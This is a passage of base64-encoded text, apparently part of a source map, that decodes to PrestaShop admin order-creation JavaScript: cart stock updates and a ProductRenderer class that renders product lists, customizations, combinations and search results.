pcy51cGRhdGVTdG9jayhwcm9kdWN0SWQsIGF0dHJpYnV0ZUlkLCBxdHkpO1xuICB9XG5cbiAgLyoqXG4gICAqIFVwZGF0ZXMgdGhlIHN0b2NrIHdoZW4gdGhlIHF1YW50aXR5IG9mIHByb2R1Y3QgaXMgY2hhbmdlZCBmcm9tIGNhcnQgaW4gT3JkZXJzL1wiY3JlYXRlIG5ldyBvcmRlciBwYWdlXCJcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHVwZGF0ZVN0b2NrT25RdHlDaGFuZ2UocHJvZHVjdCkge1xuICAgIGNvbnN0IHtcbiAgICAgIHByb2R1Y3RJZCwgYXR0cmlidXRlSWQsIHByZXZRdHksIG5ld1F0eSxcbiAgICB9ID0gcHJvZHVjdDtcbiAgICBjb25zdCBxdHkgPSBwcmV2UXR5IC0gbmV3UXR5O1xuXG4gICAgdGhpcy51cGRhdGVTdG9jayhwcm9kdWN0SWQsIGF0dHJpYnV0ZUlkLCBxdHkpO1xuICB9XG5cbiAgLyoqXG4gICAqIFVwZGF0ZXMgdGhlIHN0b2NrIGluIHByb2R1Y3RzIG9iamVjdCBhbmQgcmVuZGVycyB0aGUgbmV3IHN0b2NrXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICB1cGRhdGVTdG9jayhwcm9kdWN0SWQsIGF0dHJpYnV0ZUlkLCBxdHkpIHtcbiAgICBjb25zdCBwcm9kdWN0S2V5cyA9IE9iamVjdC5rZXlzKHRoaXMucHJvZHVjdHMpO1xuICAgIGNvbnN0IHByb2R1Y3RWYWx1ZXMgPSBPYmplY3QudmFsdWVzKHRoaXMucHJvZHVjdHMpO1xuXG4gICAgZm9yIChsZXQgaSA9IDA7IGkgPCBwcm9kdWN0S2V5cy5sZW5ndGg7IGkgKz0gMSkge1xuICAgICAgaWYgKHByb2R1Y3RWYWx1ZXNbaV0ucHJvZHVjdElkID09PSBwcm9kdWN0SWQpIHtcbiAgICAgICAgY29uc3QgJHRlbXBsYXRlID0gdGhpcy5wcm9kdWN0UmVuZGVyZXIuY2xvbmVQcm9kdWN0VGVtcGxhdGUocHJvZHVjdFZhbHVlc1tpXSk7XG4gICAgICAgIC8vIFVwZGF0ZSB0aGUgc3RvY2sgdmFsdWUgIGluIHByb2R1Y3RzIG9iamVjdFxuICAgICAgICBwcm9kdWN0VmFsdWVzW2ldLnN0b2NrICs9IHF0eTtcblxuICAgICAgICAvLyBVcGRhdGUgdGhlIHN0b2NrIGFsc28gZm9yIGNvbWJpbmF0aW9uICovXG4gICAgICAgIGlmIChhdHRyaWJ1dGVJZCAmJiBhdHRyaWJ1dGVJZCA+IDApIHtcbiAgICAgICAgICBwcm9kdWN0VmFsdWVzW2ldLmNvbWJpbmF0aW9uc1thdHRyaWJ1dGVJZF0uc3RvY2sgKz0gcXR5O1xuICAgICAgICB9XG5cbiAgICAgICAgLy8gUmVuZGVyIHRoZSBuZXcgc3RvY2sgdmFsdWVcbiAgICAgICAgaWYgKHRoaXMuc2VsZWN0ZWRQcm9kdWN0LnByb2R1Y3RJZCA9PT0gcHJvZHVjdElkKSB7XG4gICAgICAgICAgaWYgKHRoaXMuc2VsZWN0ZWRQcm9kdWN0LmNvbWJpbmF0aW9ucy5sZW5ndGggPT09IDApIHtcbiAgICAgICAgICAgIHRoaXMucHJvZHVjdFJlbmRlcmVyLnJlbmRlclN0b2NrKFxuICAgICAgICAgICAgICAkdGVtcGxhdGUuZmluZChjcmVhdGVPcmRlck1hcC5saXN0ZWRQcm9kdWN0UXR5U3RvY2spLFxuICAgICAgICAgICAgICAkdGVtcGxhdGUuZmluZChjcmVhdGVPcmRlck1hcC5saXN0ZWRQcm9kdWN0UXR5SW5wdXQpLFxuICAgICAgICAgICAgICBwcm9kdWN0VmFsdWVzW2ldLnN0b2NrLFxuICAgICAgICAgICAgICBwcm9kdWN0VmFsdWVzW2ldLmF2YWlsYWJsZU91dE9mU3RvY2sgfHwgcHJvZHVjdFZhbHVlc1tpXS5hdmFpbGFibGVTdG9jayA8PSAwLFxuICAgICAgICAgICAgKTtcbiAgICAgICAgICB9IGVsc2UgaWYgKGF0dHJpYnV0ZUlkICYmIE51bWJlcih0aGlzLnNlbGVjdGVkQ29tYmluYXRpb25JZCkgPT09IE51bWJlcihhdHRyaWJ1dGVJZCkpIHtcbiAgICAgICAgICAgIHRoaXMucHJvZHVjdFJlbmRlcmVyLnJlbmRlclN0b2NrKFxuICAgICAgICAgICAgICAkdGVtcGxhdGUuZmluZChjcmVhdGVPcmRlck1hcC5saXN0ZWRQcm9kdWN0UXR5U3RvY2spLFxuICAgICAgICAgICAgICAkdGVtcGxhdGUuZmluZChjcmVhdGVPcmRlck1hcC5saXN0ZWRQcm9kdWN0UXR5SW5wdXQpLFxuICAgICAgICAgICAgICBwcm9kdWN0VmFsdWVzW2ldLmNvbWJpbmF0aW9uc1thdHRyaWJ1dGVJZF0uc3RvY2ssXG4gICAgICAgICAgICAgIHByb2R1Y3RWYWx1ZXNbaV0uYXZhaWxhYmxlT3V0T2ZTdG9jayB8fCBwcm9kdWN0VmFsdWVzW2ldLmF2YWlsYWJsZVN0b2NrIDw9IDAsXG4gICAgICAgICAgICApO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBicmVhaztcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cbiIsIi8qKlxuICogQ29weXJpZ2h0IHNpbmNlIDIwMDcgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzXG4gKiBQcmVzdGFTaG9wIGlzIGFuIEludGVybmF0aW9uYWwgUmVnaXN0ZXJlZCBUcmFkZW1hcmsgJiBQcm9wZXJ0eSBvZiBQcmVzdGFTaG9wIFNBXG4gKlxuICogTk9USUNFIE9GIExJQ0VOU0VcbiAqXG4gKiBUaGlzIHNvdXJjZSBmaWxlIGlzIHN1YmplY3QgdG8gdGhlIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqIHRoYXQgaXMgYnVuZGxlZCB3aXRoIHRoaXMgcGFja2FnZSBpbiB0aGUgZmlsZSBMSUNFTlNFLm1kLlxuICogSXQgaXMgYWxzbyBhdmFpbGFibGUgdGhyb3VnaCB0aGUgd29ybGQtd2lkZS13ZWIgYXQgdGhpcyBVUkw6XG4gKiBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjBcbiAqIElmIHlvdSBkaWQgbm90IHJlY2VpdmUgYSBjb3B5IG9mIHRoZSBsaWNlbnNlIGFuZCBhcmUgdW5hYmxlIHRvXG4gKiBvYnRhaW4gaXQgdGhyb3VnaCB0aGUgd29ybGQtd2lkZS13ZWIsIHBsZWFzZSBzZW5kIGFuIGVtYWlsXG4gKiB0byBsaWNlbnNlQHByZXN0YXNob3AuY29tIHNvIHdlIGNhbiBzZW5kIHlvdSBhIGNvcHkgaW1tZWRpYXRlbHkuXG4gKlxuICogRElTQ0xBSU1FUlxuICpcbiAqIERvIG5vdCBlZGl0IG9yIGFkZCB0byB0aGlzIGZpbGUgaWYgeW91IHdpc2ggdG8gdXBncmFkZSBQcmVzdGFTaG9wIHRvIG5ld2VyXG4gKiB2ZXJzaW9ucyBpbiB0aGUgZnV0dXJlLiBJZiB5b3Ugd2lzaCB0byBjdXN0b21pemUgUHJlc3RhU2hvcCBmb3IgeW91clxuICogbmVlZHMgcGxlYXNlIHJlZmVyIHRvIGh0dHBzOi8vZGV2ZG9jcy5wcmVzdGFzaG9wLmNvbS8gZm9yIG1vcmUgaW5mb3JtYXRpb24uXG4gKlxuICogQGF1dGhvciAgICBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnMgPGNvbnRhY3RAcHJlc3Rhc2hvcC5jb20+XG4gKiBAY29weXJpZ2h0IFNpbmNlIDIwMDcgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzXG4gKiBAbGljZW5zZSAgIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMCBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKi9cblxuaW1wb3J0IGNyZWF0ZU9yZGVyTWFwIGZyb20gJy4vY3JlYXRlLW9yZGVyLW1hcCc7XG5cbmNvbnN0IHskfSA9IHdpbmRvdztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgUHJvZHVjdFJlbmRlcmVyIHtcbiAgY29uc3RydWN0b3IoKSB7XG4gICAgdGhpcy4kcHJvZHVjdHNUYWJsZSA9ICQoY3JlYXRlT3JkZXJNYXAucHJvZHVjdHNUYWJsZSk7XG4gIH1cblxuICAvKipcbiAgICogUmVuZGVycyBjYXJ0IHByb2R1Y3RzIGxpc3RcbiAgICpcbiAgICogQHBhcmFtIHByb2R1Y3RzXG4gICAqL1xuICByZW5kZXJMaXN0KHByb2R1Y3RzKSB7XG4gICAgdGhpcy5jbGVhblByb2R1Y3RzTGlzdCgpO1xuXG4gICAgaWYgKHByb2R1Y3RzLmxlbmd0aCA9PT0gMCkge1xuICAgICAgdGhpcy5oaWRlUHJvZHVjdHNMaXN0KCk7XG5cbiAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBPYmplY3QudmFsdWVzKHByb2R1Y3RzKS5mb3JFYWNoKChwcm9kdWN0KSA9PiB7XG4gICAgICBjb25zdCAkdGVtcGxhdGUgPSB0aGlzLmNsb25lUHJvZHVjdFRlbXBsYXRlKHByb2R1Y3QpO1xuXG4gICAgICBsZXQgY3VzdG9taXphdGlvbklkID0gMDtcblxuICAgICAgaWYgKHByb2R1Y3QuY3VzdG9taXphdGlvbikge1xuICAgICAgICAoe2N1c3RvbWl6YXRpb25JZH0gPSBwcm9kdWN0LmN1c3RvbWl6YXRpb24pO1xuICAgICAgICB0aGlzLnJlbmRlckxpc3RlZFByb2R1Y3RDdXN0b21pemF0aW9uKHByb2R1Y3QuY3VzdG9taXphdGlvbiwgJHRlbXBsYXRlKTtcbiAgICAgIH1cblxuICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdEltYWdlRmllbGQpLnByb3AoJ3NyYycsIHByb2R1Y3QuaW1hZ2VMaW5rKTtcbiAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmxpc3RlZFByb2R1Y3ROYW1lRmllbGQpLnRleHQocHJvZHVjdC5uYW1lKTtcbiAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmxpc3RlZFByb2R1Y3RBdHRyRmllbGQpLnRleHQocHJvZHVjdC5hdHRyaWJ1dGUpO1xuICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdFJlZmVyZW5jZUZpZWxkKS50ZXh0KHByb2R1Y3QucmVmZXJlbmNlKTtcblxuICAgICAgaWYgKHByb2R1Y3QuZ2lmdCAhPT0gdHJ1ZSkge1xuICAgICAgICAkdGVtcGxhdGUuZmluZChjcmVhdGVPcmRlck1hcC5saXN0ZWRQcm9kdWN0VW5pdFByaWNlSW5wdXQpLnZhbChwcm9kdWN0LnVuaXRQcmljZSk7XG4gICAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmxpc3RlZFByb2R1Y3RVbml0UHJpY2VJbnB1dCkuZGF0YSgncHJvZHVjdC1pZCcsIHByb2R1Y3QucHJvZHVjdElkKTtcbiAgICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdFVuaXRQcmljZUlucHV0KS5kYXRhKCdhdHRyaWJ1dGUtaWQnLCBwcm9kdWN0LmF0dHJpYnV0ZUlkKTtcbiAgICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdFVuaXRQcmljZUlucHV0KS5kYXRhKCdjdXN0b21pemF0aW9uLWlkJywgY3VzdG9taXphdGlvbklkKTtcbiAgICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdFF0eUlucHV0KS52YWwocHJvZHVjdC5xdWFudGl0eSk7XG4gICAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmxpc3RlZFByb2R1Y3RRdHlJbnB1dCkuZGF0YSgncHJvZHVjdC1pZCcsIHByb2R1Y3QucHJvZHVjdElkKTtcbiAgICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdFF0eUlucHV0KS5kYXRhKCdhdHRyaWJ1dGUtaWQnLCBwcm9kdWN0LmF0dHJpYnV0ZUlkKTtcbiAgICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdFF0eUlucHV0KS5kYXRhKCdjdXN0b21pemF0aW9uLWlkJywgY3VzdG9taXphdGlvbklkKTtcbiAgICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdFF0eUlucHV0KS5kYXRhKCdwcmV2LXF0eScsIHByb2R1Y3QucXVhbnRpdHkpO1xuICAgICAgICB0aGlzLnJlbmRlclN0b2NrKFxuICAgICAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmxpc3RlZFByb2R1Y3RRdHlTdG9jayksXG4gICAgICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdFF0eUlucHV0KSxcbiAgICAgICAgICBwcm9kdWN0LmF2YWlsYWJsZVN0b2NrLFxuICAgICAgICAgIHByb2R1Y3QuYXZhaWxhYmxlT3V0T2ZTdG9jayB8fCAocHJvZHVjdC5hdmFpbGFibGVTdG9jayA8PSAwKSxcbiAgICAgICAgKTtcbiAgICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAucHJvZHVjdFRvdGFsUHJpY2VGaWVsZCkudGV4dChwcm9kdWN0LnByaWNlKTtcbiAgICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAucHJvZHVjdFJlbW92ZUJ0bikuZGF0YSgncHJvZHVjdC1pZCcsIHByb2R1Y3QucHJvZHVjdElkKTtcbiAgICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAucHJvZHVjdFJlbW92ZUJ0bikuZGF0YSgnYXR0cmlidXRlLWlkJywgcHJvZHVjdC5hdHRyaWJ1dGVJZCk7XG4gICAgICAgICR0ZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLnByb2R1Y3RSZW1vdmVCdG4pLmRhdGEoJ2N1c3RvbWl6YXRpb24taWQnLCBjdXN0b21pemF0aW9uSWQpO1xuICAgICAgfSBlbHNlIHtcbiAgICAgICAgJHRlbXBsYXRlLmZpbmQoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdEdpZnRRdHkpLnRleHQocHJvZHVjdC5xdWFudGl0eSk7XG4gICAgICB9XG5cbiAgICAgIHRoaXMuJHByb2R1Y3RzVGFibGUuZmluZCgndGJvZHknKS5hcHBlbmQoJHRlbXBsYXRlKTtcbiAgICB9KTtcblxuICAgIHRoaXMuc2hvd1RheFdhcm5pbmcoKTtcbiAgICB0aGlzLnNob3dQcm9kdWN0c0xpc3QoKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZW5kZXJzIGN1c3RvbWl6YXRpb24gZGF0YSBmb3IgbGlzdGVkIHByb2R1Y3RcbiAgICpcbiAgICogQHBhcmFtIGN1c3RvbWl6YXRpb25cbiAgICogQHBhcmFtICRwcm9kdWN0Um93VGVtcGxhdGVcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHJlbmRlckxpc3RlZFByb2R1Y3RDdXN0b21pemF0aW9uKGN1c3RvbWl6YXRpb24sICRwcm9kdWN0Um93VGVtcGxhdGUpIHtcbiAgICBjb25zdCAkY3VzdG9taXplZFRleHRUZW1wbGF0ZSA9ICQoJChjcmVhdGVPcmRlck1hcC5saXN0ZWRQcm9kdWN0Q3VzdG9taXplZFRleHRUZW1wbGF0ZSkuaHRtbCgpKTtcbiAgICBjb25zdCAkY3VzdG9taXplZEZpbGVUZW1wbGF0ZSA9ICQoJChjcmVhdGVPcmRlck1hcC5saXN0ZWRQcm9kdWN0Q3VzdG9taXplZEZpbGVUZW1wbGF0ZSkuaHRtbCgpKTtcblxuICAgIE9iamVjdC52YWx1ZXMoY3VzdG9taXphdGlvbi5jdXN0b21pemF0aW9uRmllbGRzRGF0YSkuZm9yRWFjaCgoY3VzdG9taXplZERhdGEpID0+IHtcbiAgICAgIGxldCAkY3VzdG9taXphdGlvblRlbXBsYXRlID0gJGN1c3RvbWl6ZWRUZXh0VGVtcGxhdGUuY2xvbmUoKTtcblxuICAgICAgaWYgKGN1c3RvbWl6ZWREYXRhLnR5cGUgPT09IGNyZWF0ZU9yZGVyTWFwLnByb2R1Y3RDdXN0b21pemF0aW9uRmllbGRUeXBlRmlsZSkge1xuICAgICAgICAkY3VzdG9taXphdGlvblRlbXBsYXRlID0gJGN1c3RvbWl6ZWRGaWxlVGVtcGxhdGUuY2xvbmUoKTtcbiAgICAgICAgJGN1c3RvbWl6YXRpb25UZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmxpc3RlZFByb2R1Y3RDdXN0b21pemF0aW9uTmFtZSkudGV4dChjdXN0b21pemVkRGF0YS5uYW1lKTtcbiAgICAgICAgJGN1c3RvbWl6YXRpb25UZW1wbGF0ZVxuICAgICAgICAgIC5maW5kKGAke2NyZWF0ZU9yZGVyTWFwLmxpc3RlZFByb2R1Y3RDdXN0b21pemF0aW9uVmFsdWV9IGltZ2ApXG4gICAgICAgICAgLnByb3AoJ3NyYycsIGN1c3RvbWl6ZWREYXRhLnZhbHVlKTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgICRjdXN0b21pemF0aW9uVGVtcGxhdGUuZmluZChjcmVhdGVPcmRlck1hcC5saXN0ZWRQcm9kdWN0Q3VzdG9taXphdGlvbk5hbWUpLnRleHQoY3VzdG9taXplZERhdGEubmFtZSk7XG4gICAgICAgICRjdXN0b21pemF0aW9uVGVtcGxhdGUuZmluZChjcmVhdGVPcmRlck1hcC5saXN0ZWRQcm9kdWN0Q3VzdG9taXphdGlvblZhbHVlKS50ZXh0KGN1c3RvbWl6ZWREYXRhLnZhbHVlKTtcbiAgICAgIH1cblxuICAgICAgJHByb2R1Y3RSb3dUZW1wbGF0ZS5maW5kKGNyZWF0ZU9yZGVyTWFwLmxpc3RlZFByb2R1Y3REZWZpbml0aW9uKS5hcHBlbmQoJGN1c3RvbWl6YXRpb25UZW1wbGF0ZSk7XG4gICAgfSk7XG4gIH1cblxuICByZW5kZXJTZWFyY2hpbmcoKSB7XG4gICAgdGhpcy5yZXNldCgpO1xuICAgIHRoaXMudG9nZ2xlU2VhcmNoaW5nTm90aWNlKHRydWUpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbmRlcnMgY2FydCBwcm9kdWN0cyBzZWFyY2ggcmVzdWx0cyBibG9ja1xuICAgKlxuICAgKiBAcGFyYW0gZm91bmRQcm9kdWN0c1xuICAgKi9cbiAgcmVuZGVyU2VhcmNoUmVzdWx0cyhmb3VuZFByb2R1Y3RzKSB7XG4gICAgdGhpcy5jbGVhblNlYXJjaFJlc3VsdHMoKTtcbiAgICB0aGlzLnRvZ2dsZVNlYXJjaGluZ05vdGljZShmYWxzZSk7XG4gICAgaWYgKGZvdW5kUHJvZHVjdHMubGVuZ3RoID09PSAwKSB7XG4gICAgICB0aGlzLnNob3dOb3RGb3VuZCgpO1xuICAgICAgdGhpcy5oaWRlVGF4V2FybmluZygpO1xuXG4gICAgICByZXR1cm47XG4gICAgfVxuXG4gICAgdGhpcy5yZW5kZXJGb3VuZFByb2R1Y3RzKGZvdW5kUHJvZHVjdHMpO1xuXG4gICAgdGhpcy5oaWRlTm90Rm91bmQoKTtcbiAgICB0aGlzLnNob3dUYXhXYXJuaW5nKCk7XG4gICAgdGhpcy5zaG93UmVzdWx0QmxvY2soKTtcbiAgfVxuXG4gIHJlc2V0KCkge1xuICAgIHRoaXMuY2xlYW5TZWFyY2hSZXN1bHRzKCk7XG4gICAgdGhpcy5oaWRlVGF4V2FybmluZygpO1xuICAgIHRoaXMuaGlkZVJlc3VsdEJsb2NrKCk7XG4gICAgdGhpcy50b2dnbGVTZWFyY2hpbmdOb3RpY2UoZmFsc2UpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbmRlcnMgYXZhaWxhYmxlIGZpZWxkcyByZWxhdGVkIHRvIHNlbGVjdGVkIHByb2R1Y3RcbiAgICpcbiAgICogQHBhcmFtIHtvYmplY3R9IHByb2R1Y3RcbiAgICovXG4gIHJlbmRlclByb2R1Y3RNZXRhZGF0YShwcm9kdWN0KSB7XG4gICAgdGhpcy5yZW5kZXJTdG9jayhcbiAgICAgICQoY3JlYXRlT3JkZXJNYXAuaW5TdG9ja0NvdW50ZXIpLFxuICAgICAgJChjcmVhdGVPcmRlck1hcC5xdWFudGl0eUlucHV0KSxcbiAgICAgIHByb2R1Y3Quc3RvY2ssXG4gICAgICBwcm9kdWN0LmF2YWlsYWJsZU91dE9mU3RvY2sgfHwgKHByb2R1Y3Quc3RvY2sgPD0gMCksXG4gICAgKTtcbiAgICB0aGlzLnJlbmRlckNvbWJpbmF0aW9ucyhwcm9kdWN0LmNvbWJpbmF0aW9ucyk7XG4gICAgdGhpcy5yZW5kZXJDdXN0b21pemF0aW9ucyhwcm9kdWN0LmN1c3RvbWl6YXRpb25GaWVsZHMpO1xuICB9XG5cbiAgLyoqXG4gICAqIFVwZGF0ZXMgc3RvY2sgdGV4dCBoZWxwZXIgdmFsdWVcbiAgICpcbiAgICogQHBhcmFtIHtvYmplY3R9IGlucHV0U3RvY2tDb3VudGVyIFRleHQgSGVscCB3aXRoIHRoZSBzdG9jayBjb3VudGVyXG4gICAqIEBwYXJhbSB7b2JqZWN0fSBpbnB1dFF1YW50aXR5IElucHV0IGZvciB0aGUgc3RvY2tcbiAgICogQHBhcmFtIHtudW1iZXJ9IHN0b2NrIEF2YWlsYWJsZSBzdG9jayBmb3IgdGhlIHByb2R1Y3RcbiAgICogQHBhcmFtIHtib29sZWFufSBpbmZpbml0ZU1heCBJZiB0aGUgcHJvZHVjdCBvcmRlciBoYXMgbm8gbGltaXRzXG4gICAqL1xuICByZW5kZXJTdG9jayhpbnB1dFN0b2NrQ291bnRlciwgaW5wdXRRdWFudGl0eSwgc3RvY2ssIGluZmluaXRlTWF4KSB7XG4gICAgaW5wdXRTdG9ja0NvdW50ZXIudGV4dChzdG9jayk7XG5cbiAgICBpZiAoIWluZmluaXRlTWF4KSB7XG4gICAgICBpbnB1dFF1YW50aXR5LmF0dHIoJ21heCcsIHN0b2NrKTtcbiAgICB9IGVsc2Uge1xuICAgICAgaW5wdXRRdWFudGl0eS5yZW1vdmVBdHRyKCdtYXgnKTtcbiAgICB9XG4gIH1cblxuICAvKipcbiAgICogQHBhcmFtIHByb2R1Y3RcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGNsb25lUHJvZHVjdFRlbXBsYXRlKHByb2R1Y3QpIHtcbiAgICByZXR1cm4gcHJvZHVjdC5naWZ0ID09PSB0cnVlXG4gICAgICA/ICQoJChjcmVhdGVPcmRlck1hcC5wcm9kdWN0c1RhYmxlR2lmdFJvd1RlbXBsYXRlKS5odG1sKCkpLmNsb25lKClcbiAgICAgIDogJCgkKGNyZWF0ZU9yZGVyTWFwLnByb2R1Y3RzVGFibGVSb3dUZW1wbGF0ZSkuaHRtbCgpKS5jbG9uZSgpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbmRlcnMgZm91bmQgcHJvZHVjdHMgc2VsZWN0XG4gICAqXG4gICAqIEBwYXJhbSBmb3VuZFByb2R1Y3RzXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICByZW5kZXJGb3VuZFByb2R1Y3RzKGZvdW5kUHJvZHVjdHMpIHtcbiAgICBPYmplY3QudmFsdWVzKGZvdW5kUHJvZHVjdHMpLmZvckVhY2goKHByb2R1Y3QpID0+IHtcbiAgICAgIGxldCB7bmFtZX0gPSBwcm9kdWN0O1xuXG4gICAgICBpZiAocHJvZHVjdC5jb21iaW5hdGlvbnMubGVuZ3RoID09PSAwKSB7XG4gICAgICAgIG5hbWUgKz0gYCAtICR7cHJvZHVjdC5mb3JtYXR0ZWRQcmljZX1gO1xuICAgICAgfVxuXG4gICAgICAkKGNyZWF0ZU9yZGVyTWFwLnByb2R1Y3RTZWxlY3QpLmFwcGVuZChgPG9wdGlvbiB2YWx1ZT1cIiR7cHJvZHVjdC5wcm9kdWN0SWR9XCI+JHtuYW1lfTwvb3B0aW9uPmApO1xuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIENsZWFucyBwcm9kdWN0IHNlYXJjaCByZXN1bHQgZmllbGRzXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBjbGVhblNlYXJjaFJlc3VsdHMoKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5wcm9kdWN0U2VsZWN0KS5lbXB0eSgpO1xuICAgICQoY3JlYXRlT3JkZXJNYXAuY29tYmluYXRpb25zU2VsZWN0KS5lbXB0eSgpO1xuICAgICQoY3JlYXRlT3JkZXJNYXAucXVhbnRpdHlJbnB1dCkuZW1wdHkoKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZW5kZXJzIGNvbWJpbmF0aW9ucyByb3cgd2l0aCBzZWxlY3Qgb3B0aW9uc1xuICAgKlxuICAgKiBAcGFyYW0ge0FycmF5fSBjb21iaW5hdGlvbnNcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHJlbmRlckNvbWJpbmF0aW9ucyhjb21iaW5hdGlvbnMpIHtcbiAgICB0aGlzLmNsZWFuQ29tYmluYXRpb25zKCk7XG5cbiAgICBpZiAoY29tYmluYXRpb25zLmxlbmd0aCA9PT0gMCkge1xuICAgICAgdGhpcy5oaWRlQ29tYmluYXRpb25zKCk7XG5cbiAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBPYmplY3QudmFsdWVzKGNvbWJpbmF0aW9ucykuZm9yRWFjaCgoY29tYmluYXRpb24pID0+IHtcbiAgICAgICQoY3JlYXRlT3JkZXJNYXAuY29tYmluYXRpb25zU2VsZWN0KS5hcHBlbmQoXG4gICAgICAgIGA8b3B0aW9uXG4gICAgICAgICAgdmFsdWU9XCIke2NvbWJpbmF0aW9uLmF0dHJpYnV0ZUNvbWJpbmF0aW9uSWR9XCI+XG4gICAgICAgICAgJHtjb21iaW5hdGlvbi5hdHRyaWJ1dGV9IC0gJHtjb21iaW5hdGlvbi5mb3JtYXR0ZWRQcmljZX1cbiAgICAgICAgPC9vcHRpb24+YCxcbiAgICAgICk7XG4gICAgfSk7XG5cbiAgICB0aGlzLnNob3dDb21iaW5hdGlvbnMoKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBSZXNvbHZlcyB3ZWF0aGVyIHRvIGFkZCBjdXN0b21pemF0aW9uIGZpZWxkcyB0byByZXN1bHQgYmxvY2sgYW5kIGFkZHMgdGhlbSBpZiBuZWVkZWRcbiAgICpcbiAgICogQHBhcmFtIGN1c3RvbWl6YXRpb25GaWVsZHNcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHJlbmRlckN1c3RvbWl6YXRpb25zKGN1c3RvbWl6YXRpb25GaWVsZHMpIHtcbiAgICAvLyByZXByZXNlbnRzIGN1c3RvbWl6YXRpb24gZmllbGQgdHlwZSBcImZpbGVcIi5cbiAgICBjb25zdCBmaWVsZFR5cGVGaWxlID0gY3JlYXRlT3JkZXJNYXAucHJvZHVjdEN1c3RvbWl6YXRpb25GaWVsZFR5cGVGaWxlO1xuICAgIC8vIHJlcHJlc2VudHMgY3VzdG9taXphdGlvbiBmaWVsZCB0eXBlIFwidGV4dFwiLlxuICAgIGNvbnN0IGZpZWxkVHlwZVRleHQgPSBjcmVhdGVPcmRlck1hcC5wcm9kdWN0Q3VzdG9taXphdGlvbkZpZWxkVHlwZVRleHQ7XG5cbiAgICB0aGlzLmNsZWFuQ3VzdG9taXphdGlvbnMoKTtcbiAgICBpZiAoY3VzdG9taXphdGlvbkZpZWxkcy5sZW5ndGggPT09IDApIHtcbiAgICAgIHRoaXMuaGlkZUN1c3RvbWl6YXRpb25zKCk7XG5cbiAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBjb25zdCAkY3VzdG9tRmllbGRzQ29udGFpbmVyID0gJChjcmVhdGVPcmRlck1hcC5wcm9kdWN0Q3VzdG9tRmllbGRzQ29udGFpbmVyKTtcbiAgICBjb25zdCAkZmlsZUlucHV0VGVtcGxhdGUgPSAkKCQoY3JlYXRlT3JkZXJNYXAucHJvZHVjdEN1c3RvbUZpbGVUZW1wbGF0ZSkuaHRtbCgpKTtcbiAgICBjb25zdCAkdGV4dElucHV0VGVtcGxhdGUgPSAkKCQoY3JlYXRlT3JkZXJNYXAucHJvZHVjdEN1c3RvbVRleHRUZW1wbGF0ZSkuaHRtbCgpKTtcblxuICAgIGNvbnN0IHRlbXBsYXRlVHlwZU1hcCA9IHtcbiAgICAgIFtmaWVsZFR5cGVGaWxlXTogJGZpbGVJbnB1dFRlbXBsYXRlLFxuICAgICAgW